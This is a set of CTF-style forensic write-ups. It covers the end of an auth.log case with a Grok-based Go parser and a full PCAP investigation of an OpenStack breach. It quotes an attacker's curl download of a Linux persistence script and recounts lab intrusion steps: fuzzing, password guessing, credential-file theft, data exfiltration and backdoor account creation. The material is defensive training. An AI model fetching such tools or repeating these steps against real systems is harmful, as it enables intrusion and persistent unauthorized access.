COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```
`linper.sh` is a Linux persistence toolkit, a bash script that automates various persistence
techniques on compromised hosts.
> **Answer:** `/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`
***
## Beyond Root: Parsing auth.log with Grok
This section covers parsing the entire log into structured JSON using Grok patterns, the same
approach used by SIEMs like Elastic and Splunk to process unstructured logs at scale.
### Why Grok?
The problem with auth.log is that it's unstructured. Different log messages have different formats,
making `awk` field positions inconsistent:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2 # username is field 11
Failed password for backup from 65.2.161.68 port 46512 ssh2 # username is field 9
```
Grok solves this by using named pattern matching to extract fields regardless of position. The
syntax looks like:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
%{PATTERN_NAME:field_name}
```
For example: `%{IP:source_ip}` matches an IP address into a field called `source_ip`, and
`%{WORD:username}` matches a single word into `username`.
### Tools
**Grok Debugger** ([https://grokdebugger.com/](https://grokdebugger.com/)): paste a log line, write your pattern, and see
matched fields in real-time. Always iterate here before writing any code.
**go-grok** ([https://github.com/elastic/go-grok](https://github.com/elastic/go-grok)): a Go library by Elastic for parsing text with
Grok patterns, with built-in pattern definitions matching what Logstash uses.
### Building the Parser
Initialize the Go project:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
mkdir go-brutus && cd go-brutus
go mod init go-brutus
go get github.com/elastic/go-grok
touch main.go
```
Every auth.log line starts with timestamp, hostname, and program. The built-in `SYSLOGBASE2`
pattern handles most of this; note that `WORD` won't work for the program field because some
programs contain dashes (e.g., `systemd-logind`), so use `DATA` instead:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
%{SYSLOGBASE2} %{DATA:program}\[%{BASE10NUM:pid}\]:
```
Patterns for each log message type:
```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# SSH auth — (invalid user )? makes the phrase optional, matching both valid and invalid user lines
SSH_AUTH: %{LOG_PREFIX} %{WORD:result} %{WORD:login_type} for (invalid user )?%{DATA:username} from %{IP:source_ip} port %{BASE10NUM:client_port} %{WORD:protocol}
# systemd-logind sessions — trailing period anchors the optional "of user" clause
SYSTEMD_SESSION: %{LOG_PREFIX} %{WORD:status} session %{BASE10NUM:session_id}( of user %{USERNAME:username})?.
# useradd
USER_ADD: %{LOG_PREFIX} new user: name=%{USERNAME:username}, UID=%{BASE10NUM:uid}, GID=%{BASE10NUM:gid}, home=%{UNIXPATH:home_dir}, shell=%{UNIXPATH:shell}, from=%{UNIXPATH:from}
# sudo
SUDO_CMD: %{LOG_PREFIX} %{USERNAME:user} : TTY=%{WORD:tty} ; PWD=%{UNIXPATH:pwd} ; USER=%{USERNAME:tgt_user} ; COMMAND=%{GREEDYDATA:command}
```
The full Go program reads auth.log line by line, tries each pattern, and outputs matched lines as
JSON. Once running, pipe through `jq` for flexible queries:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find all failed SSH attempts from attacker IP
go run main.go | grep "65.2.161.68" | jq '.'
# Show only successful logins
go run main.go | grep "Accepted" | jq '{source_ip, username, result}'
# Find new sessions
go run main.go | grep "session" | grep -v "CRON" | grep "New" | jq '.'
# Show sudo commands by cyberjunkie
go run main.go | grep "cyberjunkie" | jq '.user + " ran as " + .tgt_user + " with command: " + .command'
```
### Why This Matters for Defenders
This Grok-based approach is how logs are processed at scale in real SOC environments:
1. **Raw logs** come in from servers (auth.log, syslog, application logs)
2. **Grok rules** parse them into structured fields
3. **Logstash/Fluentd** ingests the structured data into **Elasticsearch** or **Splunk**
4. **Analysts** query using KQL, Lucene, or SPL instead of grep/awk
Learning to write Grok patterns is essential for anyone working in defensive security, SOC analysis,
or SIEM administration.
***
## Skills Learned
* Unix log analysis (`auth.log` and `wtmp`)
* Brute-force detection patterns in SSH logs
* Distinguishing automated vs manual logins from session duration
* Tracking privilege escalation and persistence in auth.log
* Timeline creation across multiple artifacts
* MITRE ATT\&CK framework mapping
* Grok pattern creation for structured log parsing
* Using go-grok (Elastic) for programmatic log analysis
* Piping JSON output through `jq` for flexible querying
# DFIR
Source: https://writeups.dudji.com/sherlocks/dfir/index
Digital forensics and incident response Sherlock writeups.
HTB Sherlock Vantage full DFIR investigation writeup.
HTB Sherlock Brutus auth.log and wtmp DFIR investigation.
# Vantage
Source: https://writeups.dudji.com/sherlocks/dfir/vantage
# Vantage - HTB Sherlock Writeup (DFIR / Network Forensics)
## Challenge Description
> A small company moved some of its resources to a private cloud installation. The developers left
> the redirect to the dashboard on their web server. The security team got an email from the alleged
> attacker stating that the user data was leaked. It is up to you to investigate the situation.
**Difficulty:** Very Easy\
**Category:** DFIR / Network Forensics\
**Evidence Files:** `web-server_2025-07-01.pcap` (15 MB), `controller_2025-07-01.pcap` (6.9 MB)
***
## Initial Analysis Methodology
Before diving into the challenge questions, the goal is to understand what happened using only the
evidence. This section walks through a repeatable approach you can apply to any unknown PCAP - the
same steps, in the same order, every time.
We have two PCAP files from two different machines. We don't know yet what those machines are, how
they relate to each other, or what happened. The methodology below will answer all three.
***
### Step 1 - Protocol Hierarchy: What kind of machines are these?
The very first thing to do with any unknown PCAP is find out what protocols it contains. This tells
you what kind of machine was captured and what kind of activity to expect - before you read a single
packet.
**Wireshark:** `Statistics > Protocol Hierarchy`
#### 📁 web-server\_2025-07-01.pcap
Open the web-server PCAP first and go to `Statistics > Protocol Hierarchy`. Here's what stands out:
| Protocol | Frames | What it tells you |
| --------------------- | ------ | ------------------------------------------------------ |
| TCP | 21,586 | Nearly all traffic is TCP-based |
| HTTP | 7,482 | A web server - this is almost entirely HTTP |
| HTML Form URL Encoded | 8 | **Only 8 form submissions out of 7,482 HTTP requests** |
**Why the 8 form submissions matter:** The content type `application/x-www-form-urlencoded` is what
browsers send when you submit a login form via POST. Out of 7,482 HTTP requests, only 8 were form
POSTs - meaning the vast majority of traffic was automated GETs (scanning/fuzzing), and only a
handful were deliberate human interactions (login attempts). That ratio is the first red flag, and
you've spotted it without reading a single packet.
**Why 8 and not 4?** You might expect 4 login attempts = 4 POSTs. The count is doubled because this
machine acts as a **reverse proxy**: it captures both the external POST from the attacker
(`117.200.21.26 to 157.230.81.229`) and the internally forwarded POST from proxy to backend app
(`10.116.0.3 to 10.116.0.4`). Each login attempt is seen twice in the one capture file. This matters
in Step 5 when we filter for login packets.
#### 📁 controller\_2025-07-01.pcap
Now open the controller PCAP and check the same view:
| Protocol | Frames | What it tells you |
| ------------------ | ------ | ---------------------------------- |
| HTTP + JSON | 626 | REST API traffic |
| MySQL | 8,978 | Database backend |
| AMQP | 849 | Message queue (RabbitMQ) |
| Data on port 2379 | 1,418 | etcd - distributed key-value store |
| Data on port 11211 | - | memcached - in-memory cache |
**What can we say from this?** The protocol hierarchy alone does *not* tell you what platform this
machine runs. HTTP + MySQL + AMQP + etcd + memcached could be many things - a Django app with Celery
workers, a Kubernetes control plane, or any message-driven platform with a database backend.
What it *does* tell you is the general shape of this machine: it's an **application controller
node** - something that exposes a REST API, stores state in a relational database, coordinates work
through a message queue, and uses an in-memory cache. That's a useful narrowing. The actual platform
will become clear in Step 3 when we read the HTTP request paths.
**The takeaway after Step 1:** We have a *web server / reverse proxy* (almost entirely HTTP) and a
*multi-service controller node* (API + database + message queue + cache). The web-server PCAP has the
suspicious traffic volume, so that's where we focus next.
***
### Step 2 - Endpoints & Conversations: Who's talking, and how much?
Now we have a rough picture of each machine. Next question: *who is communicating with them*, and is
any of that traffic abnormal?
There are two related views in Wireshark that answer this differently:
* **`Statistics > Endpoints > IPv4`** - One row per IP, total packets aggregated across all
connections. Best for quickly identifying dominant talkers.
* **`Statistics > Conversations > TCP`** - One row per TCP stream (unique source port to destination
port pair). Best for understanding *how* the traffic is structured.
**Start with Endpoints for triage, then drill into Conversations for detail.**
#### 📁 web-server\_2025-07-01.pcap - Endpoints view
Open `Statistics > Endpoints > IPv4 tab` and sort by the **Packets** column (descending):
| Address | Packets | % of total | Role |
| ----------------- | ---------- | ---------- | ------------------------- |
| 157.230.81.229 | 21,348 | - | Web server (this machine) |
| **117.200.21.26** | **20,897** | **97.9%** | **??? (suspicious)** |
| 10.116.0.3 | 256 | 1.2% | Internal IP |
| 10.116.0.4 | 256 | 1.2% | Internal IP |
| 60+ other IPs | 2–243 each | under 1% | Internet background noise |
**The red flag is immediate:** One external IP - `117.200.21.26` - accounts for 97.9% of all
traffic. Every other external IP has negligible volume. That ratio alone identifies the attacker
before you've looked at a single HTTP request.
#### 📁 web-server\_2025-07-01.pcap - Conversations view
Now switch to `Statistics > Conversations > TCP tab` to understand how that traffic is structured.
You'll see approximately **187 rows** from `117.200.21.26`, all connecting to `157.230.81.229:80`,
each from a different source port:
| Address A | Direction | Address B | Packets | Duration |
| ----------------------- | --------- | ----------------- | ------- | -------- |
| 117.200.21.26:**64728** | to | 157.230.81.229:80 | 497 | 22.6s |
| 117.200.21.26:**64727** | to | 157.230.81.229:80 | 489 | 22.7s |
| 117.200.21.26:**64756** | to | 157.230.81.229:80 | 487 | 22.6s |
| *... 184 more rows ...* | | | | |
**What this pattern means:** 187 parallel TCP connections, all nearly identical in duration (\~22
seconds) and packet count (\~480–500), all hitting port 80. This is not a human browsing - this is a
*tool running concurrent threads*. Each thread opens its own TCP connection to fire HTTP requests in
parallel. Tools like ffuf, gobuster, and dirsearch all behave exactly this way.
There are also \~10 smaller streams between `10.116.0.3` and `10.116.0.4:80`. These two internal IPs
have nearly identical packet counts in the Endpoints view, and their timing aligns with the external
wave - this is the hallmark of a reverse proxy chain (e.g., Nginx or Apache fronting a backend app
server).
#### 📁 controller\_2025-07-01.pcap - What about this one?
We'll come back to the controller PCAP after we understand the web-server traffic. The methodology
is: **follow the attacker's footsteps in order**. The web server is where the attack started, the
controller is where it escalated. Analysing them chronologically tells a coherent story.
***
### Step 3 - Filter HTTP Requests: What was the attacker doing?
We've identified `117.200.21.26` as suspicious. Now let's see *exactly* what they requested.
**Wireshark display filter (in `web-server_2025-07-01.pcap`):**
```
http.request && ip.src == 117.200.21.26
```
**Tip:** To make the packet list more readable, add custom columns. Right-click any column header >
`Column Preferences` > add:
* `http.host` (titled "Host")
* `http.request.uri` (titled "URI")
* `http.user_agent` (titled "User-Agent")
With those columns visible, the pattern jumps out immediately:
| # | Host | Method | URI |
| ----- | --------------------------- | ------ | ---------------------- |
| 1024 | 1.vantage.tech | GET | / |
| 1031 | 2.vantage.tech | GET | / |
| 1038 | a.vantage.tech | GET | / |
| 1052 | abc.vantage.tech | GET | / |
| ... | *3,579 unique subdomains* | GET | / |
| 1072 | cloud.vantage.tech | GET | / |
| - | *(User-Agent changes here)* | | |
| 18201 | cloud.vantage.tech | GET | /dashboard/ |
| 18215 | cloud.vantage.tech | GET | /dashboard/auth/login/ |
| 18240 | cloud.vantage.tech | POST | /dashboard/auth/login/ |
**Two distinct phases are visible:**
1. **Fuzzing phase:** Thousands of GETs, each to a different `*.vantage.tech` subdomain, all
requesting `/`. The Host header cycles through a wordlist alphabetically. This is subdomain
enumeration.
2. **Exploitation phase:** The Host locks onto `cloud.vantage.tech` and the attacker starts browsing
the dashboard manually - navigating to the login page, submitting POST requests.
**And here's where the platform reveals itself.** While scrolling through the exploitation-phase
requests, you'll spot URIs like `/dashboard/i18n/js/horizon+openstack_dashboard/`. That path
literally contains the words `horizon` (OpenStack's web dashboard) and `openstack_dashboard`.
Remember the controller PCAP from Step 1 that we couldn't identify beyond "application controller
node"? Now we know - this is an **OpenStack** deployment. The web server is fronting an OpenStack
Horizon dashboard, and the controller is the OpenStack control plane behind it.
The transition between phases is also visible in the User-Agent column (which we'll examine next).
***
### Step 4 - Check User-Agents: What tools were used?
User-Agent strings are one of the quickest wins in web traffic analysis. Legitimate browsers all send
`Mozilla/5.0...` headers. Attack tools often identify themselves - either by name or by sending
unusual/missing User-Agents.
**Wireshark (in `web-server_2025-07-01.pcap`):** Click any packet from the fuzzing phase, expand
`Hypertext Transfer Protocol > User-Agent` in the packet detail pane.
Two User-Agents appear from the attacker's IP:
| Phase | User-Agent | Meaning |
| -------------------- | ------------------------------------------------------------------------------------------------------ | -------------------------------------- |
| Fuzzing (3,695 reqs) | `Fuzz Faster U Fool v2.1.0-dev` | **ffuf** - a Go-based web fuzzing tool |
| Manual browsing | `Mozilla/5.0 (Macintosh Intel Mac OS X 10_15_7) AppleWebKit/537.36 ... Chrome/137.0.0.0 Safari/537.36` | Real Chrome browser on macOS |
**The pivot moment:** The switch from ffuf to Chrome is the exact moment the attacker discovered
`cloud.vantage.tech` returned something interesting (the Horizon dashboard) and decided to explore it
manually.
To filter for just the non-browser traffic:
```
http.user_agent && !(http.user_agent contains "Mozilla")
```
This isolates every request made by tools rather than browsers - useful for quickly spotting
automated activity in any PCAP.
***
### Step 5 - Follow TCP Streams: Read the full conversations
So far we've been looking at metadata - source IPs, URIs, User-Agents. Now we need to see the actual
*content* of the most interesting requests: what credentials were submitted, what files were
downloaded, what the server responded with.
#### Reading the login attempts
**Wireshark filter (in `web-server_2025-07-01.pcap`):**
```
http.request.method == POST && http.request.uri contains "/dashboard/auth/login" && ip.src == 117.200.21.26
```
> **Why the `ip.src` clause is essential:** Without it, this filter returns **8 packets, not 4**.
> Because this machine is a reverse proxy, every inbound request from the attacker
> (`117.200.21.26 → 157.230.81.229`) is immediately forwarded internally to the backend app server
> (`10.116.0.3 → 10.116.0.4`). Both hops are captured in this one PCAP file, so each login attempt
> appears twice. Adding `ip.src == 117.200.21.26` limits results to the original attacker-side
> packets only, giving you the complete request bodies.
This gives you exactly **4 POST packets** - one per login attempt. Click the first one, then
right-click > **Follow > TCP Stream**.
**What you see in the stream window:** Wireshark colours the two sides of the conversation
differently. By default, the client's data (the attacker's request) is shown in **red** and the
server's response in **blue**. The stream shows everything in one continuous scroll: the HTTP
request headers, then a blank line, then the POST body, then the server's response headers, then
the response body.
The POST body you will see (line-wrapped here for readability):
```
csrfmiddlewaretoken=UX4dve2DwuDo171EEgnpZaxni395EA5ijYsOoOoHwPUbGqAOKcR7Y4qns2yWIb74
&fake_email=
&fake_password=
&next=%2Fdashboard%2F
®ion=default
&username=admin
&password=admin
```
**What each field means:**
* `csrfmiddlewaretoken` - Django's Cross-Site Request Forgery protection token. It rotates with
every new session and is not useful for our investigation. Ignore it.
* `fake_email` / `fake_password` - Honeypot fields that OpenStack Horizon adds to its login form
to catch naive credential-stuffing bots. A real browser always leaves them empty. Ignore them.
* `username` / `password` - The credentials you're looking for.
* `region` - The OpenStack region name, always `default` here.
**How to tell success from failure:** The server's response appears in blue in the same stream
window, immediately below the request. You do not need to read the HTML body. Just look at the
first line of the response:
* **`HTTP/1.1 200 OK`**: the server re-rendered the login page. **Login failed.**
* **`HTTP/1.1 302 Found`** with `Location: /dashboard/`: the server redirected to the dashboard.
**Login succeeded.**
Repeat this for all four POST packets to build the full picture:
| Attempt | Credentials | Response | Result |
| -------- | ------------------------- | --------- | ------- |
| 09:39:16 | admin / admin | 200 OK | Failed |
| 09:39:27 | demo / demo | 200 OK | Failed |
| 09:39:33 | root / root | 200 OK | Failed |
| 09:40:07 | admin / StrongAdminSecret | 302 Found | Success |
#### Reading the OpenRC file download
**Filter (in `web-server_2025-07-01.pcap`):**
```
http.request.uri contains "openrc" && ip.src == 117.200.21.26
```
One packet matches. Click it, then right-click > **Follow > TCP Stream**.
The request headers are clearly readable in red. You can see the GET to
`/dashboard/project/api_access/openrc/`. Scrolling down to the blue response, the headers confirm:
```
Content-Disposition: attachment; filename="admin-openrc.sh"
Content-Encoding: gzip
```
After the headers, the response body is binary garbage (compressed bytes that Wireshark cannot
display as text). **Do not try to read the file content from the TCP stream window.** This is the
most common point of confusion for this task.
To read the actual file, use Wireshark's HTTP object export, which automatically decompresses the
response:
1. Go to **File > Export Objects > HTTP...**
2. Find the row with `admin-openrc.sh` in the Filename column.
3. Click **Save**, then open the file in a text editor.
The decompressed content confirms everything we've identified so far:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
export OS_AUTH_URL=http://134.209.71.220/identity
export OS_PROJECT_ID=9fb84977ff7c4a0baf0d5dbb57e235c7
export OS_PROJECT_NAME="admin"
export OS_USERNAME="admin"
export OS_REGION_NAME="RegionOne"
export OS_IDENTITY_API_VERSION=3
```
This file is the **bridge between the two PCAPs**: it gives the attacker the controller's direct IP
address (`134.209.71.220`) and everything needed to authenticate to the OpenStack API without going
through the web dashboard. Everything that happens in the controller PCAP after this moment is a
consequence of this one download.
***
### Step 6 - Cross-Reference PCAPs: Connect the timeline
This is where the two PCAP files merge into a single story. The question is: *does the activity in
the web-server PCAP lead to activity in the controller PCAP, and can we prove it?*
**Method:** Compare timestamps. Look at when the last meaningful action occurs in the web-server
file, then look at when new activity begins in the controller file.
#### 📁 web-server\_2025-07-01.pcap: Last meaningful action
The attacker's last request in this file is the OpenRC file download at **09:40:29 UTC**. After
that there is no more attacker-initiated traffic in the web-server PCAP.
#### 📁 controller\_2025-07-01.pcap: What's in this file before the attacker arrives?
Open the controller PCAP and apply:
```
http.request && ip.src == 117.200.21.26
```
Before `09:41:44` there are zero results. The attacker has no presence in this file yet.
Without the filter, the controller PCAP contains only internal background traffic, just the OpenStack
services talking to each other. You'll see periodic `POST /v3/lease/keepalive` requests from
`134.209.71.220` to itself on port 2379 (etcd, a key-value store used internally by OpenStack).
These are automated heartbeats with no relation to the attacker. Everything else is MySQL and AMQP
traffic between backend services. There is no Horizon dashboard traffic in this file.
#### The pivot moment
The first packet in the controller PCAP with the attacker's IP is at **09:41:44 UTC**:
```
GET /identity HTTP/1.1
Host: 134.209.71.220
User-Agent: openstacksdk/4.6.0 keystoneauth1/5.11.1 python-requests/2.32.4 CPython/3.13.5
```
This is the OpenStack CLI's initial service discovery call, which is the first thing it does every time you
run any `openstack` command. The attacker is no longer using a browser. They are now running
command-line tools directly against the controller using the credentials from the OpenRC file.
**The 75-second gap** between 09:40:29 (OpenRC download) and 09:41:44 (first CLI call) is exactly
the time it takes to: open a terminal, run `source admin-openrc.sh`, enter the password when
prompted, and type the first `openstack` command. The causal chain is unambiguous.
#### What the attacker sequence looks like in the controller PCAP
Apply this filter to isolate only the attacker's CLI activity:
```
http.request && http.user_agent contains "openstacksdk"
```
The full sequence of commands plays out in order, with timestamps 30–90 seconds apart, at the pace
of a human exploring an environment manually:
| Time (UTC) | Request | What the attacker ran |
| ---------- | ----------------------------------------------------- | ---------------------------- |
| 09:41:44 | `GET /identity` | First CLI command, discovery |
| 09:41:45 | `POST /identity/v3/auth/tokens` | Authentication |
| 09:41:45 | `GET /identity/v3/services` | List all services |
| 09:42:11 | `GET /identity/v3/users` | List all users |
| 09:42:27 | `GET /compute/v2.1/servers/detail` | List VMs |
| 09:43:27 | `GET /v1/AUTH_9fb84977...?format=json` | List Swift containers |
| 09:43:47 | `GET /v1/AUTH_.../user-data?format=json` | List user-data contents |
| 09:44:05 | `GET /v1/AUTH_.../employee-data?format=json` | List employee-data contents |
| 09:45:23 | `GET /v1/AUTH_.../user-data/user-details.csv` | Download user data |
| 09:45:47 | `GET /v1/AUTH_.../employee-data/employee-details.csv` | Download employee data |
| 09:48:02 | `POST /identity/v3/users` | Create backdoor user |
| 09:49:15 | `PUT /identity/v3/projects/.../users/.../roles/...` | Grant admin role |
Each row is a separate `openstack` CLI command. The fact that every request carries the same
`openstacksdk` User-Agent and the same auth token confirms they all belong to the same session.
***
### Methodology Summary
Every time you open an unknown PCAP, follow this sequence:
1. **Protocol Hierarchy** tells you *what kind of machine* this is
2. **Endpoints** tell you *who's suspicious* (disproportionate traffic volume)
3. **Conversations** tell you *how* the traffic is structured (parallelism, ports)
4. **Build protocol-specific filters** tell you *what they did* (HTTP paths, DNS queries, SMB
shares, RDP sessions, etc.)
5. **Inspect client/application metadata** tells you *what tool or app generated the traffic*
(User-Agent strings, protocol banners, client names, request patterns)
6. **Reconstruct key sessions and relevant artifacts** tell you *the full content and sequence* of
interesting exchanges (`Follow TCP Stream`, `File > Export Objects > HTTP` for compressed
responses, key request/response bodies)
7. **Cross-reference timestamps across hosts/files** connects activity into one timeline and
separates cause from effect
Each step narrows your focus. You go from "I have 24,000 packets" to a complete narrative of the
attack, even when the protocol is not HTTP.
***
## Attack Timeline
| Time (UTC) | Source PCAP | Event |
| ----------- | ----------- | --------------------------------------------------------------------------- |
| 09:38–09:40 | web-server | Subdomain fuzzing with ffuf (3,579 subdomains tested, 3,695 total requests) |
| 09:39:07 | web-server | Attacker discovers `cloud.vantage.tech`, switches to Chrome |
| 09:39:16 | web-server | Login attempt: admin / admin failed (HTTP 200) |
| 09:39:27 | web-server | Login attempt: demo / demo failed (HTTP 200) |
| 09:39:33 | web-server | Login attempt: root / root failed (HTTP 200) |
| 09:40:07 | web-server | Login attempt: admin / StrongAdminSecret succeeded (HTTP 302) |
| 09:40:29 | web-server | Downloads admin-openrc.sh from API Access page |
| | | *- 75-second gap: attacker reads file, sources it, enters password -* |
| 09:41:44 | controller | First direct API call - OpenStack CLI service discovery (`GET /identity`) |
| 09:41:45 | controller | Enumerates services and endpoints via Keystone |
| 09:42:11 | controller | Lists all users via Keystone (`GET /identity/v3/users`) |
| 09:42:27 | controller | Lists compute servers (`GET /compute/v2.1/servers/detail`) |
| 09:43:27 | controller | Lists Swift containers - finds 3: dev-files, employee-data, user-data |
| 09:43:47 | controller | Lists contents of user-data container |
| 09:44:05 | controller | Lists contents of employee-data container |
| 09:45:23 | controller | Downloads user-details.csv (28 PII records) |
| 09:45:47 | controller | Downloads employee-details.csv |
| 09:48:02 | controller | Creates backdoor user "jellibean" with password "P@\$\$word" |
| 09:49:15 | controller | Grants jellibean admin role on the project |
***
## Questions & Answers
### Task 1: What tool did the attacker use to fuzz the web server?
**PCAP:** `web-server_2025-07-01.pcap`\
**Filter:** `http.request && ip.src == 117.200.21.26`\
**Where to look:** Click any packet from the early GETs to expand `Hypertext Transfer Protocol >
User-Agent` in the packet detail pane.
The User-Agent field reads `Fuzz Faster U Fool v2.1.0-dev` - this is ffuf, a popular web fuzzing
tool written in Go.
> **Answer:** `ffuf@2.1.0-dev`
***
### Task 2: Which subdomain did the attacker discover?
**PCAP:** `web-server_2025-07-01.pcap`\
**Filter:** `http.request && ip.src == 117.200.21.26 && http.user_agent contains "Chrome"`
After the ffuf scan, the attacker switched to Chrome and manually browsed to the discovered
subdomain. Every Chrome request targets the same Host header value.
> **Answer:** `cloud.vantage.tech`
***
### Task 3: How many login attempts did the attacker make before successfully logging in?
**PCAP:** `web-server_2025-07-01.pcap`\
**Filter:** `http.request.method == POST && http.request.uri contains "/dashboard/auth/login" && ip.src == 117.200.21.26`
Four POST packets appear. The response codes distinguish success from failure: HTTP 200 means the
login page was re-rendered (failed), while HTTP 302 means authentication succeeded and the server is
redirecting to the dashboard. The first three returned 200, and the fourth returned 302.
| Attempt | Credentials | Response | Result |
| ------------ | ------------------------- | --------- | ------- |
| 1 (09:39:16) | admin : admin | 200 OK | Failed |
| 2 (09:39:27) | demo : demo | 200 OK | Failed |
| 3 (09:39:33) | root : root | 200 OK | Failed |
| 4 (09:40:07) | admin : StrongAdminSecret | 302 Found | Success |
> **Answer:** `3`
***
### Task 4: When did the attacker download the OpenStack API remote access config file?
**PCAP:** `web-server_2025-07-01.pcap`\
**Filter:** `http.request.uri contains "openrc" && ip.src == 117.200.21.26`
The OpenRC file is a shell script that sets environment variables for OpenStack CLI authentication.
The attacker downloaded it from `Project > API Access > Download OpenStack RC File` in the Horizon
dashboard. The response header confirms the filename in `Content-Disposition` as `admin-openrc.sh`.
To read the file content itself, use **File > Export Objects > HTTP** (the response is
gzip-compressed and unreadable in the Follow TCP Stream window). The decompressed file contains the
auth URL (`http://134.209.71.220/identity`), the project ID, and the username - everything needed to
pivot from the web server to direct API access on the controller.
> **Answer:** `2025-07-01 09:40:29`
***
### Task 5: When did the attacker first interact with the API on the controller node?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request && http.user_agent contains "openstacksdk"`
Before 09:40:29, controller API traffic is mostly dashboard-generated background activity. After a
75-second gap (the attacker reading and sourcing the OpenRC file), the first request with the
OpenStack SDK User-Agent appears - `GET /identity` at **09:41:44 UTC** - which is the SDK's service
discovery call, always the first thing the CLI does when you run any `openstack` command.
> **Answer:** `2025-07-01 09:41:44`
***
### Task 6: What is the project ID of the default project accessed by the attacker?
**PCAP:** Both - appears in `web-server` (OpenRC file) and throughout `controller` (API URLs)\
**Easiest source:** Export the OpenRC file via File > Export Objects > HTTP (Task 4)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
export OS_PROJECT_ID=9fb84977ff7c4a0baf0d5dbb57e235c7
```
It also appears embedded in dozens of API URLs throughout the controller PCAP: compute usage
queries, Swift storage paths (`/v1/AUTH_9fb84977...`), and networking quota requests.
> **Answer:** `9fb84977ff7c4a0baf0d5dbb57e235c7`
***
### Task 7: Which OpenStack service provides authentication and authorization?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request.uri == "/identity/v3/services" && http.user_agent contains "openstacksdk"`
Click the matching packet and follow the TCP stream (`Follow > TCP Stream`). The response body is a
JSON service catalog. The entry with `"type": "identity"` is **Keystone** - OpenStack's
authentication and authorization service. Every API call hitting the `/identity/` path in the
controller PCAP is talking to Keystone.
The relevant JSON entry:
```json theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
{"name": "keystone", "type": "identity", "enabled": true, ...}
```
> **Answer:** `Keystone`
***
### Task 8: What is the endpoint URL of the Swift service?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request.uri == "/identity/v3/endpoints" && http.user_agent contains "openstacksdk"`
Follow the TCP stream on the matching packet. The response body is a JSON endpoint catalog listing
all service endpoints. Find the entries with `service_id` matching the Swift service
(`f9194820052d4788b09157bf0a0dfdd0`). The public-interface endpoint URL is a template:
```
http://134.209.71.220:8080/v1/AUTH_$(project_id)s
```
When the `$(project_id)s` template variable is resolved using the admin project ID from the OpenRC
file, the full URL becomes:
> **Answer:** `http://134.209.71.220:8080/v1/AUTH_9fb84977ff7c4a0baf0d5dbb57e235c7`
***
### Task 9: How many containers were discovered by the attacker?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request.uri contains "AUTH_9fb84977ff7c4a0baf0d5dbb57e235c7?format=json" && ip.src == 117.200.21.26`
One packet matches: the attacker's GET to the Swift proxy at port 8080 listing all containers.
Follow the TCP stream. The response includes:
* `X-Account-Container-Count: 3` in the headers (confirms the count)
* A JSON body listing all three containers:
```json theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
[
{ "name": "dev-files", "count": 0, "bytes": 0 },
{ "name": "employee-data", "count": 0, "bytes": 0 },
{ "name": "user-data", "count": 0, "bytes": 0 }
]
```
> **Answer:** `3`
***
### Task 10: When did the attacker download the sensitive user data file?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request.uri contains "user-details.csv" && ip.src == 117.200.21.26`
One packet matches: the attacker's GET to the Swift proxy at port 8080. (You may also see an
internal forwarding request from the Swift proxy to the object storage server on a path beginning
with `/sdb1/` - filter by `ip.src == 117.200.21.26` to see only the original request.)
> **Answer:** `2025-07-01 09:45:23`
***
### Task 11: How many user records are in the sensitive user data file?
**PCAP:** `controller_2025-07-01.pcap`\
**Method:** Follow the TCP stream on the `user-details.csv` GET packet from Task 10.
The response headers confirm:
```
Content-Type: text/csv
Content-Length: 1367
```
The response body is the file itself - readable plaintext (Swift object storage does not compress
responses). The file contains:
* A header row: `Full Name,Email,Phone Number`
* 28 data records (John Doe through Zoe Lee), each containing full name, email address, and phone
number - personally identifiable information.
> **Answer:** `28`
***
### Task 12: What is the username of the new user created for persistence?
**PCAP:** `controller_2025-07-01.pcap`\
**Filter:** `http.request.method == POST && http.request.uri == "/identity/v3/users"`
Follow the TCP stream. The request body is a JSON payload sent to Keystone:
```json theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
{
"user": {
"name": "jellibean",
"password": "P@$$word",
"enabled": true,
"default_project_id": "9fb84977ff7c4a0baf0d5dbb57e235c7"
}
}
```
The server responded with `HTTP 201 CREATED`, confirming the account was successfully created. A
subsequent `PUT` request at 09:49:15 then granted this user the admin role on the project.
> **Answer:** `jellibean`
***
### Task 13: What is the password of the new user?
**PCAP:** `controller_2025-07-01.pcap`\
**Method:** Same TCP stream as Task 12 - the password is in the JSON request body in cleartext.
> **Answer:** `P@$$word`
***
### Task 14: What is the MITRE ATT\&CK technique ID for the persistence method?
The attacker created a new user account in a cloud platform (OpenStack Keystone) and granted it
administrative privileges. This maps to:
* **Tactic:** Persistence
* **Technique:** T1136 - Create Account
* **Sub-technique:** .003 - Cloud Account
T1136.003 specifically covers adversaries creating accounts in cloud environments (AWS IAM, Azure AD,
GCP IAM, OpenStack Keystone) to maintain persistent access, distinguishing it from local account
creation (.001) or domain account creation (.002).
> **Answer:** `T1136.003`
***
## Key Wireshark Filters Reference
| Purpose | PCAP | Display Filter |
| ------------------------------- | ---------- | --------------------------------------------------------------------------------------------- |
| All attacker HTTP requests | web-server | `http.request && ip.src == 117.200.21.26` |
| Attacker fuzzing traffic only | web-server | `http.request && ip.src == 117.200.21.26 && http.user_agent contains "Fuzz"` |
| Attacker browser traffic only | web-server | `http.request && ip.src == 117.200.21.26 && http.user_agent contains "Chrome"` |
| Login attempts (attacker only) | web-server | `http.request.method == POST && http.request.uri contains "login" && ip.src == 117.200.21.26` |
| OpenRC download (attacker only) | web-server | `http.request.uri contains "openrc" && ip.src == 117.200.21.26` |
| Direct OpenStack CLI calls | controller | `http.request && http.user_agent contains "openstacksdk"` |
